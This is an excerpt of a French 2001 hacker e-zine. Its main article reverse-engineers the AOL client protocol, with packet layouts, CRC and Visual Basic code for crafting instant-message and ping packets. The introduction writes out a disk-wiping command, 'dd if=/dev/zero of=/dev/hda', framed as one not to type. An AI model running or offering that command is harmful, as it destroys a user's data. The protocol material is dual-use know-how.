31-12-2001 - H@CKOFF No26 - * LAst edition? * - °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ `°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø ________________________________________________________________________ / \ / Bienvenue dans ce Hackoff No 26 LAst édition pour l'annee 2001, une | / edition plutot tardive étant donné qu'elle est a cheval avec 2002, et | / aussi discutable puisque "LAst" et également "FIrst" est son édition... | | Avant le sommaire de ce hackoff, on vous déconseille de taper ce qui suit | | en ligne de commande : dd if=/dev/zero of=/dev/hda | | Au sommaire de ce numero 26 on vous expose a des rayonnements sympatico - | | vocabulesques a variations nympho-excavatoires sans vous enduire de pommade | | pseudo rhedibitoire a effet synapso-ramollissant. Un dossier ouvert entre | | AOL et FDO, des IDS et des hertz, du Gard derniere cuvée, des castors en / | purée, du php bafoué, du jargon expliqué, et 73 fois le caractere "@" / \________________________________________ ______________________________/ \ | \| __________ .,:;>The Crew<;:,. ¯¯¯¯¯¯¯¯¯¯ /¯¯.gArd.¯¯\ / .h3rtz!. \ ____________________________________/ ..misto... \____________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ...blured... \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....courou.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / .....tobozo..... \ / .....Lansciac..... \ / ......Jericho....... \ ----8<----+-----8<--------8<---------\-8<--+-------8<--- / Ghosts : SniffDoz Frogman \ /------------------------------\ / Guests: Ulysse , Joey, hAl2001 \ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ____________________________________________________________ __________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ]-=v0L 26=-[ | [0] Disclaimore tobozo | \ Dec 2001 / | [1] Edito lansciac | ¯¯¯¯¯¯¯¯¯¯ | [2] Aol Protocol tobozo | | [3] Rencontre du Gardieme type Gard | | [4] IDS/LIDS/NIDS/SNORT Hertz | | [5] Loutre VS Castor Brice Berger | | [6] Présentation PHP sécurité tobozo | | [7] Algo de cryptage a base d'echelon Ulysse | | [8] Dossier Jarg[0]n File Lansciac&tobozo | | [9] Phpnuke trou Frogm@n | | [A] Vieille Savate tobozo | | [B] La cigale et la fourmi tobozo | ---------8<-----+--------------8<---------------------8<---------------------8<- ¦ : . _ _______________________ _ -*0*- `^°*;:,.> Ðïsclaïmór3 <.,:;*°^` _____________________________/¯¯¯¯¯¯ By tobozo ¯¯¯¯¯¯\__________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, C'est en se braquant sur des histoires de briques reciproques que se creuse l'ecart equivoque dans notre bric a brac. Les radioHacktifs craquent et se rétractent car hacker et triquer en étant traqué c'est trop cinoque. On n'est pas ventriloques mais juste assez loufoques pour pouvoir bricoler un micro sans pare-chocs braqué sur le frolic. tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ _______________________ _ -*1*- `^°*;:,.> Ê Ð ï t 0 <.,:;*°^` _____________________________/¯¯ By Lucie Lansciac ¯¯\__________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, A qui profite la guerre ? Subjectivité et absolu... [World War Web, on vous doit plus que du service:80] Je dirai que deux ecoles s'affrontent. Celle qui va tenter de vous prouver par a+b qu'elle a entierement et totalement raison, qu'une savate ne peut etre plus que le morceau de cuir finement cousu, relié à une semelle assez solide pour pouvoir se ballader dans les bois et regarder les arbres tomber sans faire de bruit. L'autre me direz vous? Surement la demonstration par l'absurde ou peut être la méthode shadok ou encore la méthode échelon, le broyage verbeux de gros dictionnaires comportant des mots que seuls eux et leurs géniteurs sont en mesure de comprendre, à la condition sine qua non d'un test de paternité validé et non pas l'adoption enarquiale usuelle ne révélant en général que peu de vérité, tel shakespeare en faux seigneur, mais vrai rustre et critique qu'il était. A qui ne profite pas la guerre? [guerre non-profit] A mes chaussures, à mon lacet defait, à mon cd foiré, à mon téléphone portable dont la carte SIM est hs, au carré qui ne sera jamais un cercle, à Pythagore qui est mort, aux jumelles qui sont mortes, à l'agenda de 1984, à un windows 3.11 sans réseau, à l'imprimante sans papier, aux sans papiers avec certificat, aux certificats bidons, aux bidonvilles créé, aux villes en deuil, au deuil sans mort, aux sacs plastiques non recyclabes, à la môle occidentale, au port usb qui ne sera jamais parallele, à la rfc 1042, à la pommade numéro 75 610, au 3 rue de l'impasse. La liste est sans nulle doute immensément longue, et il serait injurieux de vouloir la dresser, pouvant de ce fait vouloir limiter l'intellect et l'imagination que chacun possède. Devant cette sentence ainsi faite, il ne nous reste plus grand choix que de nous plier à l'autre côté. [guerre benefits] Au 3 rue de l'impasse qui sera bientôt rebatisée au nom de l'inconnu, à la pommade numéro 75 610 qui servira son producteur dans les soins qu'elle apportera aux blessés, à la rfc 1042 qui va connaître un complément de cryptage intéressant, au port usb qui dans un soucis de reconnaissance instantanée fera disparaître un port parallèle depuis longtemps usé, à la môle occidentale à qui ont préfère un chacal bien cuit, aux sacs plastiques non recyclables car on augmente le prix du pétrole, aux deuils sans mort, car l'espoir réside, aux villes en deuil car la vengeance est leur, aux bidonvilles qui vont être reconstruits, à l'agenda de 1984 qui prend son repos au sein de 2002, aux jumelles qui sont mortes car emblême elles demeurent, à Pythagore qui est théorisé dans n'importe quelle cible, au cercle qui ne sera jamais carré, au fondeur qui pour la peine réalisera ma puce SIM, un nouveau CD, à mon lacet qui contre un scratch s'est fait echanger, à mes savates qui encore quelques temps devront me supporter. [ndt:allegro ma non troppo] Bien, mal, petit ou grand, blanc ou noir, chrétien ou musulman, combien dans tout cela compte la vie dont coule le sang? Sans vouloir conter, combien dans tout cela ont entendu les arbres tomber? Laisser tomber les avertissements fait partie de la vie de l'insouciant. Cependant à être prisonnier dans une liberté antérinée, ne préfereriez vous pas de votre propre main pouvoir décider... Libre de mourir ou mourir libre, la subjectivité et le positionnement prend tout de même un certain emplacement. Dans la position, il faut faire attention, de ne pas sur la tête, se prendre un tronc... lansciac@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ __________________ _ -*2*- `^°*;:,.>Le protocole AOL<.,:;*°^` _____________________________/¯¯¯¯¯ tobozo ¯¯¯¯¯\_______________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, Document original par Gods'Misfit (1999) binary0100@yahoo.com Traduit de l'anglais et adapté par tobozo (2001) tobozo@users.sourceforge.net Ce document est une traduction d'une des premieres traces de partage rencontree chez AOL, il s'agit d'un article qui explique vaguement comment fonctionne le protocole AOL et comment se bricoler un client avec du VB. Il est diffusé sur le site http://aol.necrocosm.com en version anglaise (et avec moins de coquilles) depuis 1999 et par AOL (hee oui, incroyable mais vrai!) depuis aout 2001. Introduction En évoquant "Le protocole AOL", le premier mot qui devrait venir a l'esprit est FDO. Et bien que FDO fasse partie du protocole AOL, il n'en sera que peu question dans ce document. Le terme "Protocole AOL" est utilisé ici en référence a une relation interactive entre un client et un serveur AOL, comment les données sont préparées, envoyées, et comment elles peuvent etre manipulées. Radotage mediatique fallacieux a redondance cyclique Il n'existe actuellement aucune documentation formelle sur le protocole AOL, tout au moins aucune qui soit publiquement disponible. Actuellement il n'y a aucun article qui soit formel au point de decrire le protocole AOL (en tous cas pas publiquement) et dont la disponibilité permette d'en parcourir le contenu. Il n'existe pas pour le moment de documentation disponible publiquement (a part celle ci) qui décrive formellement le protocole AOL. Sommaire 1) Etablissement d'une connexion A. Serveurs B. le "handshake" C. Envoi du Pseudo et du mot de passe D. Completer le login 2) Les paquets A. Le premier octet B. Le premier et troisieme octet(CRC) C. Le quatrieme octet D. Le cinquieme octet E. Le sixieme et septieme octet F. Le huitieme octet G. Le neuvieme et dixieme octet 3) Logguage des Paquets de Données d'AOL 4) Formation des paquets de données 5) Pinger 6) A propos de la décompression FDO 7) Vue d'ensemble 8) Utilisation du sens du jugement 1) Etablissement d'une connexion A. Serveurs - ------------- Le serveurs AOL sont généralement sur le port 5190. Le serveur auquel le client se connexte est séléctionné au hasard par la DNS roulette russe 'AmericaOnline.aol.com'. Il y a des centaines de serveurs AOL liés ensemble (des stades de foot remplis de serveurs !!). Mais comment ils font pour éviter le meme phenomene que les NetSplits d'IRC ? ? Pour se connecter a un serveur AOL, tout ce qu'il faut faire c'est se connecter a 'AmericaOnline.aol.com' sur le port 5190. Rien de bien compliqué jusqu'ici, ca peut meme etre fait par telnet. En general les serveurs sur lesquels on est redirigé lors d'une connexion a un serveur aOL s'appellent "berps" (bruit d'un ROT) ex : 'berp-cr01.dial.aol.com'. B. Le handshake - ------------------ Lors de l'etablissement de la connexion a AOL, le client envoie en premier des paquets d'identification qui incluent le numero de version du client. En cas de succes, le serveur renverra des paquets "encourageants" (SD) et le client enverra alors le Pseudo/Mot de passe. En cas d'echec, le serveur renverra des paquets d'insultes (XS) et le client se verra déconnecté. AOL utilise ca de facon a désactiver les vieilles versions de clients et les forcer a upgrader (ca fait vachement penser a m$ quand meme;-)); Quand le serveur ne donne aucune réponse c'est que le paquet n'etait pas formé correctement... Client: 5A413800347F7FA3036B0100F5000000050F00002152CBCA070A1000080400000000035F00000100 04000300080000000000000000000000020D Client: ZA8Å4£kÅõÅÅÅÅÅ!RËÊÅÅÅÅÅ_ÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ Server: 5AB71100037F7F240D5A88E9000B107F20534454D1F68B00000D Server: Z·-Å$ZˆéÅ SDTÑö‹ÅÅ C. Envoi du Pseudo et du Mot de passe - --------------------------------------- Apres que le serveur ait accepté le "handshake", le Pseudo et le mot de passe sont envoyés. Si le Pseudo et le Mot de passe correspondent, le serveur envoie alors l'information de désactivation du Master Tool, et envoie aussi la fenetre de bienvenue FDO. Si le Pseudo et le Mot de passe ne correspondent pas, le serveur demandera le mot de passe une fois de plus, et dans le cas de deux échecs successifs, le serveur enverra des paquets d'insultes (XS) et le client sera déconnecté.. Client: 5A243F00431010A044640015000100010A0400000001010B040000000103010A686F6C797461626C 6520011D00011D00010A0400000002030108736174616E363636011D000002000D Client: Z$?ÅCDdÅÅÅÅÅÅÅÅÅholytable ÅÅÅÅÅsatan666ÅÅÅ D. Compléter le login - ----------------------- Une fois le message de bienvenue FDO, le client envoie le token "ya". Ceci permet a AOL de notifier s'il y a du courrier, d'assigner une adresse IP et, si c'est configuré, d'afficher la Buddy List. Une fois l'IP assignée il devient possible d'envoyer des commandes aux services AOL. Client: 5A4EBA00031018A40D5AC6910008111CA079610701010D5A5C340022121CA0746C00170001000A0F 04007BB5E80A10041DA6DDF20A4504000000070002000D5A6F4A000D131CA0534301500010000020 00D Client: ZNºÅ¤ZÆ‘Å-yaZ\4Å" tlÅÅÅÅ{µè¦ÝòEÅÅÅÅÅZoJÅSCÅÅÅÅÅ Server: 5A419B00351D132079610304AC992E10020102010100040498A3CE86070101050203C00A15313533 2D34362D31362E6970742E616F6C2E636F6D0D5A7E91001E1E132076A007BB5E81DA6DDF20000000 000696D66617274702E627574000D Server: ZA›Å5 ya¬™.Ř£Î†À153-46-16.ipt.aol.comZ~‘Å-- tjÅ{µè¦ÝòÅÅÅÅÅimfartp.butÅ 2) Les paquets - ---------------- La structure de ces paquets est restée mystérieuse pendant longtemps (il parait) et la description qui suit n'est qu'un essai de passage a la loupe... A ne pas prendre pour parole biblique. Voici en gros a quoi un paque ressemble : Z (CRC) (CRC) [NULL] (LENGTH BYTE) (HB 6TH) (HB 7TH) [SPACE] (TOKEN) (TOKEN) Ce sont les premier 10 octets de tous les paquets AOL. Les seuls octets qui ne changent jamais sont le premier -> Z(5A en Hexa) et le quatrieme -> A null (00 en Hexa). Tout ce qui se trouve apres les 10 premiers octets est compressé en FDO ou en ligne de données. Le passage au detail des 10 premiers octets : A. Sur toutes les version AOL, le premier octet est toujours égal a z (5A ne Hexa). C'est l'octet le moins prise de tete (il ne change jamais) mais ca n'est pas une raison pour l'oublier (quoiqu'on aurait plutot tendance a oublier le quatrieme)... B. Le deuxieme et troisieme octet sont des octets 'Hi' et 'Lo' (Haut et Bas) produits par l'algoritme CRC16. CRC veut dire "Cyclic Redundancy Check" (Vérification de Redondance Cyclique). Non il ne s'agit pas d'un gaz qui détruit la couche d'ozone, mais il est quand meme utilisé dans le cadre de la compressions. Par exemple pour s'assurer qu'aucune donnée n'a été corrompue dans un fichier, l'entete CRC doit correspondre aux données du fichier lui meme. Il en est de meme pour la lecture d'un CDROM, d'une disquette, et des paquets AOL. Si le CRC ne correspond pas au paquet, le serveur AOL l'ignore. Le CRC est extrait du paquet duquel ont été supprimés les 5 Octets (le header). Le nombre produit par l'algo est alors utilisé pour produire les bits 'Hi' et 'Lo' qui sont alors placés dans le 2e et le 3e point du header. Le CRC s'applique seulement sur les versions 3.0 du client AOL et versions anterieures. Les versions plus récentes d'AOL envoient simplement '**' en deuxieme et troisiemes Octet. On peut donc tres bien s'en sortir avec ces versions la sans avoir a utiliser ce maudit CRC, mais dans tous les cas il y aura plus de données a envoyer. Si le CRC doit etre utilisé coute que coute, les choses seront beaucoup plus simples si cette utilisation s'applique a des paquets de type ancien ou réduit. Voici la fonction CRC et les subroutines 'Hi' et 'Lo' pour les programmeurs de C++ et Visual Basic (merci a la communauté AOL et a l'auteur anonyme). C++: ---- Function AOLCrc (strng$, lenstr) unsigned short CRC16(byte * buffer, int length) { unsigned short crc = 0; unsigned short ch; int i, j; for (i = 0; i < length; i ++) { ch = (unsigned short) buffer; for (j = 0; j < 8; j ++) { if ((crc ^ ch) & 1) crc = (crc >> 1) ^ 0xa001; Else crc >>= 1; ch >>= 1; } } return (crc); } Visual Basic: ------------- Function AOLCRC(strng$, lenstr) Dim crc As Long Dim ch As Long Dim i As Long Dim j As Long For i = 0 To lenstr - 1 ch = Asc(Mid(strng$, i + 1, 1)) For j = 0 To 7 If ((crc Xor ch) And 1) Then crc = (Int((crc / 2)) Xor 40961) Else crc = Int(crc / 2) End If ch = Int(ch / 2) Next j Next i AOLCRC = crc End Function Function gethibyte(mybyte As Variant) As Variant gethibyte = Int(mybyte / 256) End Function Function getlobyte(mybyte As Variant) As Variant getlobyte = Int((mybyte - (gethibyte(mybyte) * 256))) End Function On va expliquer plus bas comment utiliser ces fonctions. C. Le 4e Octet pour toutes les versions d'aol est de valeur NULL (00 in Hex). Attention : cet Octet ne change jamais mais il est obligatoire. D. Le 5e Octet est l'Octet de longueur, il définit plus ou moins la longueur du paquet moins les 5 premiers octets (header). Plus ou moins car un autre element (qui n'est pas la longueur physique) peut en affecter la valeur. L'octet situé directement avant tout chaine contenue dans le paquet (pseudo, chat, données de formulaires, etc) est aussi un Octet de longueur. Cet Octet représente la longueur de la chaine qui suit. et n'est pas comptabilisé dans la représentation du 5e octet de longueur. Voici un subroutine Visual Basic qui pourra pallier a ce manque et calculer le 5e octet de tout paquet qu'on lui donne : Function give5th(pack As String, inputz as integer) 'La fonction EnHex est necessaire pour cela, voir suite du document. Dim give5th1 As Integer inputz = inputz + 4 give5th1 = Len(DeHex(pack)) - inputz give5th = EnHex(Chr(give5th1)) End Function L'utilisation de cette fonction est simple, il suffit d'inclure le paquet entier en hexa (y compris le header) et le # d'inputs du formulaire pour calculer le 5e octet qui doit etre placé dans le paquet. Exemple: give5th("5AD69400411010A044640015000100010A0400000001010B04000000010301" & screenname$ & "20011D00011D00010A04000000020301" & password$ & "011D000002000D", 2) E. Le 6e et 7e Octet - Ces 2 octets sont au moins aussi gonflants que le 2e et le 3e octet. Il suffit de surveiller les paquets AOL pour comprendre ce qu'on veut dire ici. Ces deux octets changent sans explication apparente et sans indice aidant a comprendre de quoi sera composé la prochaine paire. Ces paquets sont differents pour chaque nouveau paquet. Cette enigme n'est pas résolue dans ce document mais une solution de remplacement y est considérée : En mettant tous les paques dans une boucle on s'apercoit que les paquets de login ont un 6e octet de 10(hex) =16(int) et un 7e octet de 18(hex) = 24(int). Idée : Avant l'envoi de chaque paquet, on peut incrémenter chacun de ces bits de 1. Bien que le client semble se livrer a une distribution completement différente, cette methode marche a merveille ;-)) On ne peut pas incrémenter de 1 a l'infini bien sur ;-) Au bout d'un moment le serveur AOL arrete de repondre et fait couler la connexion. La solution est de restaurer le 6e et 7e Octet a leurs valeurs originales 10(hex)=16 et 18(hex)=24 Partant de ces données, seule l'imagination limite les implémentations, le 6e et 7e octet avec des valeurs de 127 et 135 par exemple (hehehe). Par hypocrisie on va appeler ces octets "octets de comptage". Spéculations mode="parano": ces octets peuvent etre cités en référence comme "battements de coeur". Les paquets "ping-like" de 9 caracteres qui sont envoyés en permanence contiennent probablement des valeurs qui informent le serveur sur la santé/utilisation du client AOL, et qui sait peut etre d'autres informations plus consistantes ?? F. Le 8e octet est simplement un espace. G. Enfin, le 9e et 10e Octet (en ASCII) représentent le token. Les habitués de FDO savent que le token prévient le serveur de ce qu'il attend. Dans le doute on peut chercher les tokens et les comparer avec les fichiers token AOL-Files pour voir de quel paquet il s'agit. 3) Logguer les paquets de données AOL est une compétence tres important quand on veut fricotter avec le protocole AOL et sans laquelle on ne peut aller nulle part. La formation des paquets AOL n'est pas quelque chose qui peut etre réalisé en direct et a la main (a moins d'avoir un implant dans la cervelle;), l'opération (pour former les paquets, pas pour l'implant) équivaudrait a écrire en FDO, compresser le FDO et ajouter le header, le tout en temps réel. Bien que cela ne soit pas completement impossible (les implants c'est pas cher), la meilleure méthode reste encore le recyclage de paquets déja loggués qu'on peut modifier a volonté la ou c'est nécéssaire. Récuperer des paquets AOL est assez simple, il suffit de créér/utiliser un programme qui va ecouter sur le port 5190 pour toutes les connexions entrantes. Ensuite il faut jeter son dévolu sur la version d'AOL a espionner.. La version US d'aol 2.5 reste encore le meilleur choix, d'ailleurs ce document ne traite que de methodes utilisables avec cette version. Il est meme possible entre la création, la diffusion et la traduction de cet article, qu'AOL ai fini d'accepter que les clients 2.5 se connectent a leurs serveur. dans le doute : http://clients.aol-files.com Il faut tripotter le client AOL pour le forcer a se connecter en local plutot que sur 'AmericaOnline.aol.com'. Pour cela il faut ouvrir le fichier 'tcp.ccl' situé dans le repertoire 'ccl' et remplacer l'occurence 'AmericaOnline.aol.com' par 'localhost', puis sauver et fermer le fichier. En ajoutant une regle de filtre au programme qui loggue les paquets (tcpdump?) on fait forwarder les paquets du port 5190 sur 'AmericaOnline.aol.com'. On peut alors lancer le client AOL et vérifier que lors d'une demande de connexion le programme de logging forwarde bien la demande. On peut alors commencer a intercepter les données en séparant les données du serveur des données du client. A partir d'une machine windows cela peut poser des problemes a cause des caracteres "NULL" qui, quand ils sont mis dans une textbox, représentent une fin de ligne et rendent illisible le texte qui suit sur la fin de la ligne. en éditant le caractere NULL d'une chaine on peut rendre lisible le paquet en entier. Voici une routine en Visual Basic qui permet de pallier a ca : Function stripnulls(thedata as String) Dim torem as Integer torem = 1 Do Until crap = 0 torem = InStr(1, thedata, Chr$(0)) If torem > 0 Then Mid(thedata, torem, 1) = "Å" Loop End Function L'edition des paquets en ASCII donne des resultats catastrophiques : le paquet est inutilisable et ne peut etre renvoyé au serveur. L'edition des paquets doit donc etre faite en Hexa dont voici quelques fonctions (toujours en Visual Basic). Public Function EnHex(Data As String) As String Dim iCount As Double Dim sTemp As String For iCount = 1 To Len(Data) sTemp = Hex$(Asc(Mid$(Data, iCount, 1))) If Len(sTemp) < 2 Then sTemp = "0" & sTemp EnHex = EnHex & sTemp Next iCount End Function Public Function DeHex(Data As String) As String Dim iCount As Double For iCount = 1 To Len(Data) Step 2 DeHex = DeHex & Chr$(Val("&H" & Mid$(Data, iCount, 2))) Next iCount End Function Public Function Int2Hex(Data As String) As String Dim sTemp As String sTemp = Hex(Data) If Len(sTemp) < 2 Then sTemp = "0" & sTemp Int2Hex = Int2Hex & sTemp End Function Public Function Hex2Int(Data As String) As String Dim iCount As Double For iCount = 1 To Len(Data) Step 2 Hex2Int = Hex2Int & CInt(Val("&H" & Mid$(Data, iCount, 2))) Next iCount End Function Il faut capturer les paquets en Hexa et a moins d'utiliser AOL Data Edit (plus dur a trouver eh?) ca ne marchera pas... 4) Formation des Paquets de Données On va maintenant essayer d'expliquer comment former un paquet et l'envoyer avec Visual Basic en utilisant les fonctions de ce document. Avant tout il faut un des paquets qui ont été loggués plus haut. Voici un paquet loggué IM : 5A21EF00401422A06953002500010001070400000003010A040000000103010A676F64736D697366 3174011D00010A04000000020301026869011D00011D00011D000002000D Z!ïÅ@"iSÅ%ÅÅÅÅÅÅÅÅgodsmisf1tÅÅÅÅhiÅÅÅÅÅ IM Envoyé au pseudo 'godsmisf1t' avec le message 'hi'. Que changer dans ce paquet ? A premiere vue on peut modifier les chaines "hi" et "godmisf1t". L'hexa pour 'godsmisf1t' est '676F64736D6973666974'. On recherche donc cette valeur dans le paquet Hexa, on rechercha aussi '6869' qui correspond a 'hi'. 5A21EF00401422A06953002500010001070400000003010A040000000103010A676F64736D697366 3174011D00010A04000000020301026869011D00011D00011D000002000D On a donc identifié les données a changer, il ne reste plus qu'a les éditer, et aussi a éditer l'octet situé directement avant les chaines en accord avec la longueur des varaibles modifiées. "5A21EF00401422A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D" Les variables IM$ et screenname$ prennent la valeur du pseudo et du message en hexa et les octets qui les précedent directement sont supprimés et remplacés par la valeur hexa correspondant a leurs longueurs respectives. Voici un exemple en Visual Basic : screenname$ = Int2Hex(Len("godsmisf1t")) & EnHex("godsmisf1t") IM$ = Int2Hex(Len("hello")) & EnHex("hello") Il ne reste plus qu'a mettre le paquet en hex et a le renvoyer pour que ca marche alors ? Perdu ! Il faut aussi changer la valeur du 5e octet (l'octet de longueur) en fonction de la longueur du message et du pseudo. On peut pour ca utiliser la fonction give5th (Visual Basic) : fifth$ = give5th("5A21EF00401422A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D", 2) Cette fonction calcule l'octet de longueur du paquet avec le nombre d'inputs. Un formulaire IM a 2 champs inputs, on en met donc 2 comme valeur. La valeur hexa de l'octet de longueur se trouve stockee dans la variable 'fifth$' pour usage ulterieur. Il faut ensuite s'assurer qu'on a les bonnes valeurs pour le 6e et 7e octet. Juste apres le login on avait remarqué que les valeurs du 6e et 7e octet etaient respectivement 16 et 24 ( 10 et 16 en hexa). Une fois que l'etape du login sera franchie, il faudra s'assurer que les valeurs de ces deux octets soient stockées dans des variables publiques afin de pouvoir les incrémenter et ainsi produire les "battements de coeur". Comme expliqué plus haut ces valeurs doivent etre réinitialisées des qu'elles atteignent respectivement les valeurs 127 et 135. sixth = CInt(sixth) + 1 seventh = CInt(seventh) + 1 Voici comment on les integre avec le 5e octet du paquet. Le paquet actuel est "5A21EF00401422A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D" Le 5e (hex) '40' le 6e (hex)'14', et le 7e (hex) '22' sont les octets qui doivent etre remplacés avec les variables : packet$ = DeHex("00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D") On met ainsi a jour le 5e, 6e, et 7e octet avec les variables hexa, et on met le nouveau paquet dans la variable 'packet$'. Il ne reste plus qu'a modifier l'octet CRC : crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) packet$ = "5A" & EnHex(thehi$) & EnHex(thelo$) & "00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D" Le paquet est pret a etre envoyé avec la fonction DeHex qui va l'envoyer au serveur. whatyousend$ = DeHex(packet$) Il suffit d'envoyer whatyousend$ au serveur, et si tout a été fait correctement ca devrait envoyer un IM. En ficelant le tout, on peut construire une fonction qui envoie un IM : Function SendIM(screenname as String, IM as String) screenname1$ = Int2Hex(Len(screenname)) & EnHex(screenname) IM1$ = Int2Hex(Len(IM)) & EnHex(IM) If sixth = "127" Then sixth = "15" 'Backtrack 1 because we are going to add 1 soon seventh = "23" 'THIS IS THE CODE TO RESET THE BYTES End If sixth = CInt(sixth) + 1 seventh = CInt(seventh) + 1 fifth$ = give5th("5A21EF00401422A06953002500010001070400000003010A04000000010301" & screenname1$ & "011D00010A04000000020301" & IM1$ & "011D00011D00011D000002000D", 2) packet$ = DeHex("00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D") crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) packet$ = "5A" & EnHex(thehi$) & EnHex(thelo$) & "00" & fifth$ & Int2Hex(sixth) & Int2Hex(seventh) & "A06953002500010001070400000003010A04000000010301" & screenname$ & "011D00010A04000000020301" & IM$ & "011D00011D00011D000002000D" whatyousend$ = DeHex(packet$) Form1.Winsock1.SendData whatyousend$ 'On part du principe que le formulaire 'principal s'appelle Form1 et que 'Microsoft Winsock Control est utilisé. End Function 5) Les Ping ----------- Apres avoir réussi a établir une connexion avec AOL (ca peut prendre des années;), on peut constater qu'AOL envoie des petits paquets qui ressemblent a ca : Serveur: 5A647D00032313260D Serveur: Zd}Å#& Ces paquets sont similaires a des ping. Le serveur vérifie si la connexion est toujours en bonne santé. Le fait de ne pas y répondre met la connexion en mode suspendu (aucune autre donnée ne peut circuler jusqu'a ce qu'un ping soit envoyé et/ou répondu). La réponse attendue par le serveur est heureusement simple a produire, on prend le 6e et le 7e octet du paquet ping, on les inverse, et on les renvoie au serveur. Voici a quoi ressemble une reponse d'un client a un ping : Client: 5A0AE900031323A40D Client: Z éÅ#¤ Le paquet ping du serveur a un 6e caractere dont la valeur hexa est 23. Le 7e octet a une valeur de 13 en hexa. Le client inverse les deux valeurs avant de les renvoyer avec la methode suivante : Dans le 'Winsock Data Arrival event' déposer ceci : 'Assuming sData is the incoming server data: If Len(sData) = 9 Then ping6$ = Mid(sData, 6, 1) ping7$ = Mid(sData, 7, 1) packet$ = DeHex("0003" & EnHex(ping7$) & EnHex(ping6$) & "A40D") crc1 = AOLCRC(packet$, Len(packet$) - 1) thehi$ = Chr(gethibyte(crc1)) thelo$ = Chr(getlobyte(crc1)) tosend$= DeHex("5A" & EnHex(thehi$) & EnHex(thelo$) & "0003" & EnHex(ping7$) & EnHex(ping6$) & "A40D") Winsock1.SendData tosend$ End If C'est le client qui le plus souvent envoie les ping, et c'est le serveur qui le plus souvent y repond. Le serveur AOL stoppera toute transmission jusqu'a ce que le ping recoive une reponse ou soit envoye. Pour une utilisation applicative, il est recommandé d'intégrer un timer qui aura pour role d'envoyer constamment des ping au serveur AOL. Note : lors d'une réponse a un ping, il est inutile d'incrémenter le 6e et le 7e octet, ni de chercher un 5e octet. 6) La compression FDO ---------------------- Les paquets traités plus haut ne reseemblent pas vraiment a du FDO, et pourtant il sont bien compressés en FDO. Un rapide coup d'oeil permet de localiser les zones de compression. Il est meme possible d'écrire une subroutine qui va faire le travail : Il faut localiser le fichier 'ada32.dll'. C'est la librairie de ressource qu'AOL utilise pour stocker toutes les fonctions de compression FDO. Pour ceux qui savent déclarer une fonction depuis une DLL (pour les autres faudra lire des docs avant hehe) voici la liste des fonctions qui se trouvent dans le fichier 'ada32.dll' : AdaAssembleAtomStream AdaDisassembleAtomStream AdaDoAtomCallbacks AdaAssembleArgument AdaAssembleAtomStream AdaAssembleFragment AdaDisassembleArgument AdaDisassembleAtom AdaDisassembleAtomState AdaDisassembleAtomStream AdaDisassembleAtomStreamState 